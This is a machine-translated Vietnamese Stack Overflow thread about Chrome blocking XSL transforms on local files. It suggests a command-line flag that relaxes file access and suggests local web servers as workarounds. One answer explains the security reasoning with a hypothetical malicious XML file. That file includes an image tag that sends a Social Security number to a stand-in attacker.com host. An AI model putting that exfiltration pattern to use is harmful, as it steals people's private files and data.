Chrome có thể được thực hiện để thực hiện chuyển đổi XSL trên một tệp cục bộ không?


91

Tôi đã xem xét xslt và bắt đầu thử nghiệm với các ví dụ trên w3schools.

Tuy nhiên, khi tôi lưu xml và xsl trong các tệp và thử mở chúng cục bộ, chrome sẽ không thực hiện chuyển đổi xsl. Nó chỉ hiển thị một trang trống.

Tôi đã thêm <?xml-stylesheet type="text/xsl" href="style.xsl">thẻ vào tài liệu xml và firefox hiển thị nó như mong đợi. Ngoài ra, nếu tôi xem các tệp thông qua một máy chủ web, chrome sẽ hiển thị tệp như mong muốn.

Có phải chrome gặp sự cố khi tìm thông tin bảng định kiểu khi liên kết là cục bộ không? Thay đổi href thành file:///C:/xsl/style.xslkhông tạo ra bất kỳ sự khác biệt nào.

Cập nhật: Đây dường như là một tác dụng phụ của chính sách bảo mật không coi tệp: /// * là cùng một nguồn gốc. Điều này làm cho lỗi sau xuất hiện trong bảng điều khiển:

Cố gắng tải tệp URL: /// C: /xsl-rpg/style.xsl từ khung có tệp URL: /// C: /xsl-rpg/data.xml một cách không an toàn. Tên miền, giao thức và cổng phải phù hợp.


1
Có vẻ như từ file:giao thức Chrome gây ra cùng một lỗi miền.

1
Trên IE11, nó hoạt động. Chrome đang trở nên tồi tệ.
Marco Demaio

Câu trả lời:


74

Câu trả lời ngắn gọn là "Không, hãy sử dụng một trong những bộ trình duyệt đa dạng hiện có" .

Lý do điều này không hoạt động là do mối lo ngại về bảo mật mà Chrome đã giải quyết theo cách gây tranh cãi [1] [2] [3] [4] , bằng cách chặn các tệp XML truy cập các tệp XSLT cục bộ trong cùng một thư mục, trong khi HTML tệp có thể truy cập tệp .CSS trong cùng một thư mục tốt.

Trong các vấn đề được trích dẫn ở trên, người dùng đã yêu cầu thông báo lỗi rõ ràng hơn (vì các miền, giao thức và cổng thực tế khớp với nhau) hoặc ít nhất là hiển thị XML mà không có kiểu dáng. Các nhà phát triển Chrome đã bỏ qua những yêu cầu này.


18
Mặc dù mối quan tâm về bảo mật của họ có ý nghĩa, nhưng các tệp XML sẽ có thể tải các biểu định kiểu XSL từ cùng một thư mục, giống như các tệp HTML có thể tải hình ảnh và tập lệnh từ cùng một thư mục. Có một vấn đề bạn có thể gắn dấu sao nhưng nhóm nhà phát triển Chrome đã cấm nhận xét mới về vấn đề đó - mặc dù thực tế là họ đã phàn nàn rằng họ không thể xác định mức độ tồi tệ của người dùng muốn nguồn gốc tệp cục bộ được nới lỏng.
Dan Dascalescu

1
Thực tế thú vị: Safari trên Mac (8.0) hoạt động tốt với XSLT cục bộ, nhưng trình mô phỏng Safari trên iOS (8) (và tôi cũng cho rằng trên iOS), tôi đã gặp lỗi tương tự như trong Chrome "Tên miền, giao thức và cổng phải khớp. ". Nhưng nếu tôi triển khai UIWebView trong ứng dụng và tải XML bằng XSLT thì mọi thứ hoạt động OK.
Paul Brewczynski

điểm nhỏ trong việc sử dụng trình duyệt khác khi nhiệm vụ là sửa lỗi hiển thị
xslt

Một cách tiếp cận hoạt động với Chromium là nội tuyến tệp XSL vào tệp XML dưới dạng dữ liệu: text / xsl URI.
EricLaw

57

Bạn có thể thực hiện việc này cục bộ bằng cách sử dụng cờ dòng lệnh của Chrome.

Cờ cụ thể là --allow-file-access-from-files

Trên OS X: từ Terminal.app chạy /Applications/Google\ Chrome.app/contents/MacOS/Google\ Chrome --allow-file-access-from-files

Trên Windows: từ dấu nhắc lệnh chạy %LOCALAPPDATA%\Google\Chrome\Application\chrome.exe --allow-file-access-from-files

Lưu ý: Bạn có thể sẽ phải thoát khỏi Chrome nếu nó hiện đang chạy nếu không Ch


Điều này dường như không hiệu quả với tôi trên Windows 7. Tôi tìm thấy chrome.exe nằm ở đây: C:\Program Files (x86)\Google\Chrome\Applicationvà lệnh --allow-file-access-from-files thực thi tốt, nhưng tài liệu XML cục bộ của tôi (được chuyển đổi bởi tệp XSLT cục bộ) không được hiển thị.
Rick hỗ trợ Monica

2
Có thể bạn phải giết tất cả các quy trình windows đang chạy cho chrome.exe trong trình quản lý tác vụ windows bằng tay. Đối với tôi, điều này đã hiệu quả.
Christian Schulzendorff

1
/Applications/Google\ Chrome\ Canary.app/Contents/MacOS/Google\ Chrome\ Canary --allow-file-access-from-filesđã làm cho tôi. Rõ ràng là tôi đang chạy Chrome Canary. Sau khi chạy lệnh này, một cửa sổ Chrome mới sẽ mở ra và cho phép bạn thực hiện Chuyển đổi XSL của mình.
SeanLF

2
Nhanh hơn trên Windows 7: Phím cửa sổ + R; "chrome --allow-file-access-from-files"; Đi vào.
Aaron Campbell

Hoặc trong PowerShell (giết các crôm trước đó cho bạn):get-process chrome | stop-process; start-process chrome --allow-file-access-from-files
Aaron Campbell

15

Nếu bạn muốn sử dụng OP, câu trả lời là Không (như những người khác đã chỉ ra) nhưng một cách để khắc phục sự cố là chạy một máy chủ web đơn giản và mở tệp qua http trong chrome. Nếu bạn đã cài đặt python 2.x, bạn có thể chạy máy chủ web bằng cách nhập:

python -m SimpleHTTPServer

Hoặc trong python 3.x:

python3 -m http.server

và sau đó mở tệp bằng http://localhost:8000/yourfile.xmlchrome. Hy vọng rằng bạn chỉ muốn hoàn thành công việc của mình và nó không phải là điều quan trọng để mở tệp bằng cách sử dụngfile://


3

Phải mất một chút giải mã trên trang Chrome Bug - họ rất muốn không giải thích vấn đề là gì và tại sao họ chọn phá vỡ mọi người thay vì không phá vỡ mọi người.

Giả sử tôi có một tệp XML - ở đâu đó - trên ổ cứng của tôi, ví dụ:

C: \ Users \ Ian \ Documents \ Taxes \ StudioTaxReturn_2015.xml

Và một thực thể độc hại - bằng cách nào đó - đã quản lý để thả tệp Xml độc hại vào máy tính của tôi, ví dụ:

C: \ Users \ Ian \ AppData \ LocalLow \ Temp \ TrojanVirusWorm.xml

Hãy tưởng tượng TrojanVirusWorm.xml chứa một hướng dẫn xử lý biểu định kiểu ( PI ):

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>

Sau đó, kẻ tấn công hướng dẫn trình duyệt của tôi điều hướng đến trojanVirusWorm.xmltệp được lưu cục bộ .

Rõ ràng có một cách mà tệp XML có thể đọc nội dung của tệp XSD (thay vì được chuyển đổi bởi tệp XSD):

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>
   <!--And then a miracle happens, and this XML file is able to read
       the contents of the stylesheet xml file-->
<html>
   <img src="http://attacker.com/UploadSocialSecurityNumber&ssn=..."></img>
</html>

Tôi không hiểu cách một tệp XML có thể đọc một tệp biểu định kiểu. Nhưng nhóm Chrome đảm bảo với chúng tôi rằng đó là một mối nguy hiểm và không thể giải quyết được.

Mọi trình duyệt khác đã giải quyết nó. Họ đã giải quyết nó bởi vì nó không phải là một vấn đề .


3

Giải pháp của tôi để xem xml theo tệp xsl

Giả sử chúng ta có một some_file.xml với các tiêu đề:

<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="https://some-site.com/Common.xsl"?>
  1. Chúng tôi tải xuống tệp https://some-site.com/Common.xslvà đặt nó bên cạnhsome_file.xml
  2. Thay đổi một phần của tiêu đề của chúng tôi từ href="https://some-site.com/Common.xsl"thành href="http://localhost:8001/Common.xsl"
  3. Chạy trong thư mục với các tệp của chúng tôi - python3 -m http.server 8001
  4. Mở trong bất kỳ trình duyệt nào http://localhost:8001/some_file.xml

0

Bạn có thể cho phép Chrome hiển thị tệp XSL bằng cách thay đổi cài đặt trình duyệt của mình. Một cách tiếp cận an toàn hơn sẽ là truy cập nó thông qua một máy chủ web cục bộ, chẳng hạn như Visual Studio Code Live Server hoặc Apache. Xem XSLT sẽ không hiển thị trên tệp cục bộ để biết các bước.

Khi sử dụng trang web của chúng tôi, bạn xác nhận rằng bạn đã đọc và hiểu Chính sách cookieChính sách bảo mật của chúng tôi.
Licensed under cc by-sa 3.0 with attribution required.